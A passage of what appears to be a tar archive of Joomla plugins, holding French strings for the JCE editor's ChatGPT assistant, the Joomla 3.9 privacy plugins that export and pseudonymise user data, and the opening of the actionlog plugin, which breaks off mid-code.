PLG_JCE_EDITOR_AIA_GPT_MODEL_DESC="<ul><li><strong>GPT4o :</strong>Version avancée du GPT-4, ce modèle offre des performances supérieures avec une vitesse et une précision accrues. Idéal pour les tâches linguistiques exigeantes, il garantit une génération de texte de haute qualité et rentable.</li><li><strong>GPT-4-Turbo :</strong> Version améliorée du GPT-4, ce modèle associe des fonctionnalités sophistiquées à une rapidité et une efficacité accrues. Il permet de générer des textes rentables et de haute qualité à des taux de réponse proches du temps réel. Il est idéal pour les tâches de traitement linguistique exigeantes qui requièrent à la fois rapidité et profondeur.</li><li><strong>GPT-4 :</strong> Modèle linguistique avancé et puissant, GPT-4 excelle dans la génération de textes hautement cohérents et nuancés sur le plan contextuel. Idéal pour les tâches de génération de textes complexes et créatifs, il offre des performances supérieures et une compréhension approfondie d'un large éventail de sujets. Bien qu'il offre une qualité de premier ordre, il est plus coûteux et peut avoir des temps de réponse plus lents que les modèles plus petits. Parfait pour les applications exigeant un traitement linguistique de haut niveau.</li><li><strong>gpt-3.5-turbo :</strong> Un modèle linguistique avancé qui offre un équilibre entre les capacités, le coût et la vitesse. Il offre des performances similaires à celles du modèle text-davinci-003, mais à un prix inférieur par jeton, ce qui en fait un choix rentable pour diverses tâches de génération de texte. Les temps de réponse sont généralement plus rapides que ceux de text-davinci-003.</li><li><strong>davinci-002 :</strong> Un modèle très avancé pour générer un texte cohérent de premier ordre. Idéal pour la résolution de problèmes complexes et la création de contenus nuancés, il offre d'excellentes performances pour un coût et un temps de réponse plus élevés.</li><li><strong>babbage-002 :</strong> Un modèle économique qui permet de générer des textes de manière fiable et efficace. Adapté aux tâches linguistiques générales, il permet d'équilibrer les capacités et les performances tout en réduisant les coûts d'exploitation.</li></ul>"

PLG_JCE_EDITOR_AIA_TEXTPATTERN_TEXT_PREFIX="Préfixe de modèle de texte"
PLG_JCE_EDITOR_AIA_TEXTPATTERN_TEXT_PREFIX_DESC="Le préfixe de modèle de texte qui déclenche une requête ChatGPT sur Entrée en utilisant le texte qui le suit. La valeur par défaut est <em>:ai</em>"

PLG_JCE_EDITOR_AIA_PROMPTS="Invites personnalisées"
PLG_JCE_EDITOR_AIA_PROMPTS_NAME="Nom"
PLG_JCE_EDITOR_AIA_PROMPTS_PROMPT="Invite"
PLG_JCE_EDITOR_AIA_PROMPTS_SELECTION="Exiger une sélection"
PLG_JCE_EDITOR_AIA_PROMPTS_DESC="Créez une invite personnalisée pour la sélection dans le menu du bouton ChatGPT. Définissez un nom pour identifier l'invite et la valeur de l'invite comme requête à envoyer à ChatGPT. Si 'Exiger une sélection' est activé, une sélection de contenu sera envoyée avec la requête d'invite."

PLG_JCE_EDITOR_AIA_SPELLCHECK="Vérification orthographique"
PLG_JCE_EDITOR_AIA_SPELLCHECK_DESC="Activer ou désactiver la vérification de l'orthographe dans ChatGPT. Lorsque cette option est activée, ChatGPT effectue une vérification du contenu de l'éditeur lorsque l'on clique sur le bouton 'Vérification orthographique'. Cette fonction remplace la fonction de vérification orthographique par défaut."

[aia]
WF_AIA_TITLE="Aia"
WF_AIA_DESC="Aia - Assistant Ai"
WF_AIA_PROMPT="Invite"
WF_AIA_RESPONSE="Réponse"
WF_AIA_SEND="Envoyer une requête..."
WF_AIA_SHOW_DIFFERENCES="Afficher les différences"
WF_AIA_ACCEPT="Accepter"
WF_AIA_REJECT="Rejeter"
WF_AIA_ACCEPT_ALL="Tout accepter"
WF_AIA_REJECT_ALL="Tout rejeter"                                                                                                                                                                                                                                                          jce/editor_aia/language/fr-FR/plg_jce_editor_aia.sys.ini                                            0000644                 00000000764 15242051521 0017211 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_JCE_EDITOR_AIA="Aia de ChatGPT pour JCE"
PLG_JCE_EDITOR_AIA_XML_DESC="Plugin intégrant un assistant à l'insertion de contenu issu de l'OpenAI ChatGPT au sein de l'éditeur JCE"            privacy/contact/contact.xml                                                                         0000705                 00000001415 15242051521 0012025 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="privacy" method="upgrade">
	<name>plg_privacy_contact</name>
	<author>Joomla! Project</author>
	<creationDate>July 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_PRIVACY_CONTACT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="contact">contact.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_privacy_contact.ini</language>
		<language tag="en-GB">en-GB.plg_privacy_contact.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                                   privacy/contact/contact.php                                                                         0000705                 00000003457 15242051521 0012024 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Privacy.contact
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PrivacyPlugin', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/plugin.php');

/**
 * Privacy plugin managing Joomla user contact data
 *
 * @since  3.9.0
 */
class PlgPrivacyContact extends PrivacyPlugin
{
	/**
	 * Processes an export request for Joomla core user contact data
	 *
	 * This event will collect data for the contact core tables:
	 *
	 * - Contact custom fields
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  PrivacyExportDomain[]
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyExportRequest(PrivacyTableRequest $request, JUser $user = null)
	{
		if (!$user && !$request->email)
		{
			return array();
		}

		$domains   = array();
		$domain    = $this->createDomain('user_contact', 'joomla_user_contact_data');
		$domains[] = $domain;

		$query = $this->db->getQuery(true)
			->select('*')
			->from($this->db->quoteName('#__contact_details'))
			->order($this->db->quoteName('ordering') . ' ASC');

		if ($user)
		{
			$query->where($this->db->quoteName('user_id') . ' = ' . (int) $user->id);
		}
		else
		{
			$query->where($this->db->quoteName('email_to') . ' = ' . $this->db->quote($request->email));
		}

		$items = $this->db->setQuery($query)->loadObjectList();

		foreach ($items as $item)
		{
			$domain->addItem($this->createItemFromArray((array) $item));
		}

		$domains[] = $this->createCustomFieldsDomain('com_contact.contact', $items);

		return $domains;
	}
}
                                                                                                                                                                                                                 privacy/user/user.php                                                                               0000705                 00000013507 15242051521 0010667 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Privacy.user
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\User\UserHelper;
use Joomla\Utilities\ArrayHelper;

JLoader::register('PrivacyPlugin', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/plugin.php');
JLoader::register('PrivacyRemovalStatus', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/removal/status.php');

/**
 * Privacy plugin managing Joomla user data
 *
 * @since  3.9.0
 */
class PlgPrivacyUser extends PrivacyPlugin
{
	/**
	 * Performs validation to determine if the data associated with a remove information request can be processed
	 *
	 * This event will not allow a super user account to be removed
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  PrivacyRemovalStatus
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCanRemoveData(PrivacyTableRequest $request, JUser $user = null)
	{
		$status = new PrivacyRemovalStatus;

		if (!$user)
		{
			return $status;
		}

		if ($user->authorise('core.admin'))
		{
			$status->canRemove = false;
			$status->reason    = JText::_('PLG_PRIVACY_USER_ERROR_CANNOT_REMOVE_SUPER_USER');
		}

		return $status;
	}

	/**
	 * Processes an export request for Joomla core user data
	 *
	 * This event will collect data for the following core tables:
	 *
	 * - #__users (excluding the password, otpKey, and otep columns)
	 * - #__user_notes
	 * - #__user_profiles
	 * - User custom fields
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  PrivacyExportDomain[]
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyExportRequest(PrivacyTableRequest $request, JUser $user = null)
	{
		if (!$user)
		{
			return array();
		}

		/** @var JTableUser $userTable */
		$userTable = JUser::getTable();
		$userTable->load($user->id);

		$domains = array();
		$domains[] = $this->createUserDomain($userTable);
		$domains[] = $this->createNotesDomain($userTable);
		$domains[] = $this->createProfileDomain($userTable);
		$domains[] = $this->createCustomFieldsDomain('com_users.user', array($userTable));

		return $domains;
	}

	/**
	 * Removes the data associated with a remove information request
	 *
	 * This event will pseudoanonymise the user account
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyRemoveData(PrivacyTableRequest $request, JUser $user = null)
	{
		// This plugin only processes data for registered user accounts
		if (!$user)
		{
			return;
		}

		$pseudoanonymisedData = array(
			'name'      => 'User ID ' . $user->id,
			'username'  => bin2hex(random_bytes(12)),
			'email'     => 'UserID' . $user->id . 'removed@email.invalid',
			'block'     => true,
		);

		$user->bind($pseudoanonymisedData);

		$user->save();

		// Destroy all sessions for the user account
		UserHelper::destroyUserSessions($user->id);
	}

	/**
	 * Create the domain for the user notes data
	 *
	 * @param   JTableUser  $user  The JTableUser object to process
	 *
	 * @return  PrivacyExportDomain
	 *
	 * @since   3.9.0
	 */
	private function createNotesDomain(JTableUser $user)
	{
		$domain = $this->createDomain('user_notes', 'joomla_user_notes_data');

		$query = $this->db->getQuery(true)
			->select('*')
			->from($this->db->quoteName('#__user_notes'))
			->where($this->db->quoteName('user_id') . ' = ' . $this->db->quote($user->id));

		$items = $this->db->setQuery($query)->loadAssocList();

		// Remove user ID columns
		foreach (array('user_id', 'created_user_id', 'modified_user_id') as $column)
		{
			$items = ArrayHelper::dropColumn($items, $column);
		}

		foreach ($items as $item)
		{
			$domain->addItem($this->createItemFromArray($item, $item['id']));
		}

		return $domain;
	}

	/**
	 * Create the domain for the user profile data
	 *
	 * @param   JTableUser  $user  The JTableUser object to process
	 *
	 * @return  PrivacyExportDomain
	 *
	 * @since   3.9.0
	 */
	private function createProfileDomain(JTableUser $user)
	{
		$domain = $this->createDomain('user_profile', 'joomla_user_profile_data');

		$query = $this->db->getQuery(true)
			->select('*')
			->from($this->db->quoteName('#__user_profiles'))
			->where($this->db->quoteName('user_id') . ' = ' . $this->db->quote($user->id))
			->order($this->db->quoteName('ordering') . ' ASC');

		$items = $this->db->setQuery($query)->loadAssocList();

		foreach ($items as $item)
		{
			$domain->addItem($this->createItemFromArray($item));
		}

		return $domain;
	}

	/**
	 * Create the domain for the user record
	 *
	 * @param   JTableUser  $user  The JTableUser object to process
	 *
	 * @return  PrivacyExportDomain
	 *
	 * @since   3.9.0
	 */
	private function createUserDomain(JTableUser $user)
	{
		$domain = $this->createDomain('users', 'joomla_users_data');
		$domain->addItem($this->createItemForUserTable($user));

		return $domain;
	}

	/**
	 * Create an item object for a JTableUser object
	 *
	 * @param   JTableUser  $user  The JTableUser object to convert
	 *
	 * @return  PrivacyExportItem
	 *
	 * @since   3.9.0
	 */
	private function createItemForUserTable(JTableUser $user)
	{
		$data    = array();
		$exclude = array('password', 'otpKey', 'otep');

		foreach (array_keys($user->getFields()) as $fieldName)
		{
			if (!in_array($fieldName, $exclude))
			{
				$data[$fieldName] = $user->$fieldName;
			}
		}

		return $this->createItemFromArray($data, $user->id);
	}
}
                                                                                                                                                                                         privacy/user/user.xml                                                                               0000705                 00000001372 15242051521 0010675 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="privacy" method="upgrade">
	<name>plg_privacy_user</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_PRIVACY_USER_XML_DESCRIPTION</description>
	<files>
		<filename plugin="user">user.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_privacy_user.ini</language>
		<language tag="en-GB">en-GB.plg_privacy_user.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                                                      privacy/content/content.xml                                                                         0000705                 00000001415 15242051521 0012063 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="privacy" method="upgrade">
	<name>plg_privacy_content</name>
	<author>Joomla! Project</author>
	<creationDate>July 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_PRIVACY_CONTENT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="content">content.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_privacy_content.ini</language>
		<language tag="en-GB">en-GB.plg_privacy_content.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                                   privacy/content/content.php                                                                         0000705                 00000003210 15242051521 0012045 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Privacy.content
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PrivacyPlugin', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/plugin.php');

/**
 * Privacy plugin managing Joomla user content data
 *
 * @since  3.9.0
 */
class PlgPrivacyContent extends PrivacyPlugin
{
	/**
	 * Processes an export request for Joomla core user content data
	 *
	 * This event will collect data for the content core table
	 *
	 * - Content custom fields
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  PrivacyExportDomain[]
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyExportRequest(PrivacyTableRequest $request, JUser $user = null)
	{
		if (!$user)
		{
			return array();
		}

		$domains   = array();
		$domain    = $this->createDomain('user_content', 'joomla_user_content_data');
		$domains[] = $domain;

		$query = $this->db->getQuery(true)
			->select('*')
			->from($this->db->quoteName('#__content'))
			->where($this->db->quoteName('created_by') . ' = ' . (int) $user->id)
			->order($this->db->quoteName('ordering') . ' ASC');

		$items = $this->db->setQuery($query)->loadObjectList();

		foreach ($items as $item)
		{
			$domain->addItem($this->createItemFromArray((array) $item));
		}

		$domains[] = $this->createCustomFieldsDomain('com_content.article', $items);

		return $domains;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                        privacy/consents/consents.php                                                                       0000705                 00000002761 15242051521 0012423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Privacy.consents
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PrivacyPlugin', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/plugin.php');

/**
 * Privacy plugin managing Joomla user consent data
 *
 * @since  3.9.0
 */
class PlgPrivacyConsents extends PrivacyPlugin
{
	/**
	 * Processes an export request for Joomla core user consent data
	 *
	 * This event will collect data for the core `#__privacy_consents` table
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  PrivacyExportDomain[]
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyExportRequest(PrivacyTableRequest $request, JUser $user = null)
	{
		if (!$user)
		{
			return array();
		}

		$domain    = $this->createDomain('consents', 'joomla_consent_data');

		$query = $this->db->getQuery(true)
			->select('*')
			->from($this->db->quoteName('#__privacy_consents'))
			->where($this->db->quoteName('user_id') . ' = ' . (int) $user->id)
			->order($this->db->quoteName('created') . ' ASC');

		$items = $this->db->setQuery($query)->loadAssocList();

		foreach ($items as $item)
		{
			$domain->addItem($this->createItemFromArray($item));
		}

		return array($domain);
	}
}
               privacy/consents/consents.xml                                                                       0000705                 00000001423 15242051521 0012426 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="privacy" method="upgrade">
	<name>plg_privacy_consents</name>
	<author>Joomla! Project</author>
	<creationDate>July 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_PRIVACY_CONSENTS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="consents">consents.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_privacy_consents.ini</language>
		<language tag="en-GB">en-GB.plg_privacy_consents.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                             privacy/message/message.xml                                                                         0000705                 00000001415 15242051521 0012007 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="privacy" method="upgrade">
	<name>plg_privacy_message</name>
	<author>Joomla! Project</author>
	<creationDate>July 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_PRIVACY_MESSAGE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="message">message.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_privacy_message.ini</language>
		<language tag="en-GB">en-GB.plg_privacy_message.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                                   privacy/message/message.php                                                                         0000705                 00000003045 15242051521 0011777 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Privacy.message
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PrivacyPlugin', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/plugin.php');

/**
 * Privacy plugin managing Joomla user messages
 *
 * @since  3.9.0
 */
class PlgPrivacyMessage extends PrivacyPlugin
{
	/**
	 * Processes an export request for Joomla core user message
	 *
	 * This event will collect data for the message table
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  PrivacyExportDomain[]
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyExportRequest(PrivacyTableRequest $request, JUser $user = null)
	{
		if (!$user)
		{
			return array();
		}

		$domain = $this->createDomain('user_messages', 'joomla_user_messages_data');

		$query = $this->db->getQuery(true)
			->select('*')
			->from($this->db->quoteName('#__messages'))
			->where($this->db->quoteName('user_id_from') . ' = ' . (int) $user->id)
			->orWhere($this->db->quoteName('user_id_to') . ' = ' . (int) $user->id)
			->order($this->db->quoteName('date_time') . ' ASC');

		$items = $this->db->setQuery($query)->loadAssocList();

		foreach ($items as $item)
		{
			$domain->addItem($this->createItemFromArray($item));
		}

		return array($domain);
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           privacy/actionlogs/actionlogs.xml                                                                   0000705                 00000001437 15242051521 0013247 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="privacy" method="upgrade">
	<name>plg_privacy_actionlogs</name>
	<author>Joomla! Project</author>
	<creationDate>July 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_PRIVACY_ACTIONLOGS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="actionlogs">actionlogs.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_privacy_actionlogs.ini</language>
		<language tag="en-GB">en-GB.plg_privacy_actionlogs.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                 privacy/actionlogs/actionlogs.php                                                                   0000705                 00000003334 15242051521 0013234 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Privacy.actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');
JLoader::register('PrivacyPlugin', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/plugin.php');

/**
 * Privacy plugin managing Joomla actionlogs data
 *
 * @since  3.9.0
 */
class PlgPrivacyActionlogs extends PrivacyPlugin
{
	/**
	 * Processes an export request for Joomla core actionlog data
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  PrivacyExportDomain[]
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyExportRequest(PrivacyTableRequest $request, JUser $user = null)
	{
		if (!$user)
		{
			return array();
		}

		$domain = $this->createDomain('user_action_logs', 'joomla_user_action_logs_data');

		$query = $this->db->getQuery(true)
			->select('a.*, u.name')
			->from('#__action_logs AS a')
			->innerJoin('#__users AS u ON a.user_id = u.id')
			->where($this->db->quoteName('a.user_id') . ' = ' . (int) $user->id);

		$this->db->setQuery($query);

		$data = $this->db->loadObjectList();

		if (!count($data))
		{
			return array();
		}

		$data    = ActionlogsHelper::getCsvData($data);
		$isFirst = true;

		foreach ($data as $item)
		{
			if ($isFirst)
			{
				$isFirst = false;

				continue;
			}

			$domain->addItem($this->createItemFromArray($item));
		}

		return array($domain);
	}
}
                                                                                                                                                                                                                                                                                                    actionlog/joomla/joomla.php                                                                         0000705                 00000071772 15242051521 0012007 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugins
 * @subpackage  System.actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\User\User;
use Joomla\CMS\Version;
use Joomla\Utilities\ArrayHelper;

JLoader::register('ActionLogPlugin', JPATH_ADMINISTRATOR . '/components/com_actionlogs/libraries/actionlogplugin.php');
JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');

/**
 * Joomla! Users Actions Logging Plugin.
 *
 * @since  3.9.0
 */
class PlgActionlogJoomla extends ActionLogPlugin
{
	/**
	 * Array of loggable extensions.
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $loggableExtensions = array();

	/**
	 * Context aliases
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $contextAliases = array('com_content.form' => 'com_content.article');

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   3.9.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		$params = ComponentHelper::getComponent('com_actionlogs')->getParams();

		$this->loggableExtensions = $params->get('loggable_extensions', array());
	}

	/**
	 * After save content logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called right after the content is saved
	 *
	 * @param   string   $context  The context of the content passed to the plugin
	 * @param   object   $article  A JTableContent object
	 * @param   boolean  $isNew    If the content is just about to be created
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onContentAfterSave($context, $article, $isNew)
	{
		if (isset($this->contextAliases[$context]))
		{
			$context = $this->contextAliases[$context];
		}

		$option = $this->app->input->getCmd('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		list(, $contentType) = explode('.', $params->type_alias);

		if ($isNew)
		{
			$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_ADDED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
		}
		else
		{
			$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_UPDATED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
		}

		// If the content type doesn't has it own language key, use default language key
		if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
		{
			$messageLanguageKey = $defaultLanguageKey;
		}

		$id = empty($params->id_holder) ? 0 : $article->get($params->id_holder);

		$message = array(
			'action'   => $isNew ? 'add' : 'update',
			'type'     => $params->text_prefix . '_TYPE_' . $params->type_title,
			'id'       => $id,
			'title'    => $article->get($params->title_holder),
			'itemlink' => ActionlogsHelper::getContentTypeLink($option, $contentType, $id, $params->id_holder, $article),
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * After delete content logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called right after the content is deleted
	 *
	 * @param   string  $context  The context of the content passed to the plugin
	 * @param   object  $article  A JTableContent object
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onContentAfterDelete($context, $article)
	{
		$option = $this->app->input->get('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		// If the content type has it own language key, use it, otherwise, use default language key
		if ($this->app->getLanguage()->hasKey(strtoupper($params->text_prefix . '_' . $params->type_title . '_DELETED')))
		{
			$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_DELETED';
		}
		else
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';
		}

		$id = empty($params->id_holder) ? 0 : $article->get($params->id_holder);

		$message = array(
			'action' => 'delete',
			'type'   => $params->text_prefix . '_TYPE_' . $params->type_title,
			'id'     => $id,
			'title'  => $article->get($params->title_holder)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On content change status logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called when the status of the article is changed
	 *
	 * @param   string   $context  The context of the content passed to the plugin
	 * @param   array    $pks      An array of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onContentChangeState($context, $pks, $value)
	{
		$option = $this->app->input->getCmd('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		list(, $contentType) = explode('.', $params->type_alias);

		switch ($value)
		{
			case 0:
				$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_UNPUBLISHED';
				$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UNPUBLISHED';
				$action             = 'unpublish';
				break;
			case 1:
				$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_PUBLISHED';
				$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_PUBLISHED';
				$action             = 'publish';
				break;
			case 2:
				$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_ARCHIVED';
				$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ARCHIVED';
				$action             = 'archive';
				break;
			case -2:
				$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_TRASHED';
				$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_TRASHED';
				$action             = 'trash';
				break;
			default:
				$messageLanguageKey = '';
				$defaultLanguageKey = '';
				$action             = '';
				break;
		}

		// If the content type doesn't has it own language key, use default language key
		if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
		{
			$messageLanguageKey = $defaultLanguageKey;
		}

		$db    = $this->db;
		$query = $db->getQuery(true)
			->select($db->quoteName(array($params->title_holder, $params->id_holder)))
			->from($db->quoteName($params->table_name))
			->where($db->quoteName($params->id_holder) . ' IN (' . implode(',', ArrayHelper::toInteger($pks)) . ')');
		$db->setQuery($query);

		try
		{
			$items = $db->loadObjectList($params->id_holder);
		}
		catch (RuntimeException $e)
		{
			$items = array();
		}

		$messages = array();

		foreach ($pks as $pk)
		{
			$message = array(
				'action'      => $action,
